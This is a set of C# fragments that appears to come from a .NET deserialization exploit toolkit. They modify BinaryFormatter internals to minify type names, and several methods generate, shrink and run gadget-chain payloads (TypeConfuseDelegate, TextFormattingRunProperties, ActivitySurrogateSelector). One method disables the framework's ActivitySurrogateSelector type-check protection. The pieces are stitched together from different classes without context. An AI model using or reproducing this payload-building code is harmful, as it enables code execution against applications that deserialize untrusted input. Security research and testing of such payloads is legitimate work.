internal String GetAssemblyString() { SerTrace.Log(this, objectInfoId, " ", objectType, " GetAssemblyString Entry isSi ", isSi, " ", cache.assemblyString); this.binderAssemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(binderAssemblyString); return(binderAssemblyString ?? cache.assemblyString); }
internal TypeInformation(string fullTypeName, string assemblyString, bool hasTypeForwardedFrom) { this.fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(fullTypeName, assemblyString); this.assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(assemblyString); //this.fullTypeName = fullTypeName; //this.assemblyString = assemblyString; this.hasTypeForwardedFrom = hasTypeForwardedFrom; }
internal SerObjectInfoCache(string typeName, string assemblyName, bool hasTypeForwardedFrom) { this.fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(typeName, assemblyName); this.assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(assemblyName); //this.fullTypeName = typeName; //this.assemblyString = assemblyName; this.hasTypeForwardedFrom = hasTypeForwardedFrom; }
internal SerObjectInfoCache(Type type) { TypeInformation typeInformation = BinaryFormatter.GetTypeInformation(type); this.fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(typeInformation.FullTypeName, typeInformation.AssemblyString); this.assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(typeInformation.AssemblyString); //this.fullTypeName = typeInformation.FullTypeName; //this.assemblyString = typeInformation.AssemblyString; this.hasTypeForwardedFrom = typeInformation.HasTypeForwardedFrom; }
// this has been used as an example to minify the TypeConfuseDelegateGenerator payload! private void MinimiseTCDJsonAndRun() { string myApp = "TestConsoleApp_YSONET"; sampleInputArgs = new InputArgs(myApp + " /foo bar", true, false, false, false, true, null); bool isErrOk = false; TypeConfuseDelegateGenerator tcdg = new TypeConfuseDelegateGenerator(); byte[] tcd_bf_byte = (byte[])tcdg.GenerateWithNoTest("binaryformatter", sampleInputArgs); string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(tcd_bf_byte), false, true, true); byte[] result = BinaryFormatterMinifier.MinimiseBFAndRun(tcd_bf_byte, sampleInputArgs, isErrOk, true); Console.WriteLine(Encoding.UTF8.GetString(result)); Console.ReadLine(); }
internal void WriteMemberString(NameInfo memberNameInfo, NameInfo typeNameInfo, String value) { if (!memberNameInfo.NIFullName.Contains("Signature")) { value = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(value); } InternalWriteItemNull(); if (memberNameInfo.NIisArrayItem) { BCLDebug.Trace("BINARY", "-----item-----"); } else { BCLDebug.Trace("BINARY", "-----", memberNameInfo.NIname, "-----"); } WriteObjectString((int)typeNameInfo.NIobjectId, value); }
private void TextFormatterMinifying() { string myApp = "TestConsoleApp_YSONET"; sampleInputArgs = new InputArgs(myApp + " /foo bar", true, false, true, true, true, null); bool isErrOk = false; TextFormattingRunPropertiesGenerator generator = new TextFormattingRunPropertiesGenerator(); byte[] tcd_bf_byte = (byte[])generator.GenerateWithNoTest("binaryformatter", sampleInputArgs); Console.WriteLine("Init size: " + tcd_bf_byte.Length); string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(tcd_bf_byte), false, true, true); string result = BinaryFormatterMinifier.MinimiseJsonAndRun(json_string, sampleInputArgs, isErrOk, true); Console.WriteLine(result); MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(result); Console.WriteLine("Final size: " + ms.Length); Console.ReadLine(); }
private void ActivitySurrogateSelector() { string myApp = "TestConsoleApp_YSONET"; sampleInputArgs = new InputArgs(myApp + " /foo bar", true, true, true, true, true, null); bool isErrOk = false; PayloadClass myPayloadClass = new PayloadClass(1, sampleInputArgs); List <object> ls = myPayloadClass.GadgetChains(); //* // Disable ActivitySurrogate type protections during generation ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); //Serialize(myPayloadClass, "BinaryFormatter", sampleInputArgs); MemoryStream lsMs = new MemoryStream(); System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(lsMs, ls); //lsMs.Position = 0; //fmt.Deserialize(lsMs); byte[] bf_byte = lsMs.ToArray(); Console.WriteLine("Init size: " + bf_byte.Length); string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(bf_byte), false, true, true); //MemoryStream msCanIt = AdvancedBinaryFormatterParser.JsonToStream(json_string); //msCanIt.Position = 0; //fmt.Deserialize(msCanIt); string result = BinaryFormatterMinifier.MinimiseJsonAndRun(json_string, sampleInputArgs, isErrOk, true); Console.WriteLine(result); MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(result); Console.WriteLine("Final size: " + ms.Length); Console.ReadLine(); }
private void InitSiWrite() { SerTrace.Log(this, objectInfoId, " InitSiWrite Entry "); SerializationInfoEnumerator siEnum = null; isSi = true; siEnum = si.GetEnumerator(); int infoLength = 0; infoLength = si.MemberCount; int count = infoLength; // For ISerializable cache cannot be saved because each object instance can have different values // BinaryWriter only puts the map on the wire if the ISerializable map cannot be reused. TypeInformation typeInformation = null; //string fullTypeName = si.FullTypeName; // Using simple type rather than using full assembly name /* * string fullTypeName = si.FullTypeName; * * string assemblyString = si.AssemblyName; */ string fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(si.FullTypeName, si.AssemblyName); string assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(si.AssemblyName); bool hasTypeForwardedFrom = false; if (!si.IsFullTypeNameSetExplicit) { typeInformation = BinaryFormatter.GetTypeInformation(si.ObjectType); //fullTypeName = typeInformation.FullTypeName; fullTypeName = BinaryFormatterMinifier.FullTypeNameMinifier(typeInformation.FullTypeName, typeInformation.AssemblyString); hasTypeForwardedFrom = typeInformation.HasTypeForwardedFrom; } if (!si.IsAssemblyNameSetExplicit) { if (typeInformation == null) { typeInformation = BinaryFormatter.GetTypeInformation(si.ObjectType); } assemblyString = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(typeInformation.AssemblyString); //assemblyString = typeInformation.AssemblyString; hasTypeForwardedFrom = typeInformation.HasTypeForwardedFrom; } cache = new SerObjectInfoCache(fullTypeName, assemblyString, hasTypeForwardedFrom); cache.memberNames = new String[count]; cache.memberTypes = new Type[count]; memberData = new Object[count]; siEnum = si.GetEnumerator(); for (int i = 0; siEnum.MoveNext(); i++) { cache.memberNames[i] = siEnum.Name; cache.memberTypes[i] = siEnum.ObjectType; memberData[i] = siEnum.Value; SerTrace.Log(this, objectInfoId + " ", objectType, " InitSiWrite ", cache.memberNames[i], " Type ", cache.memberTypes[i], " data ", memberData[i]); } isNamed = true; isTyped = false; SerTrace.Log(this, objectInfoId, " InitSiWrite Exit "); }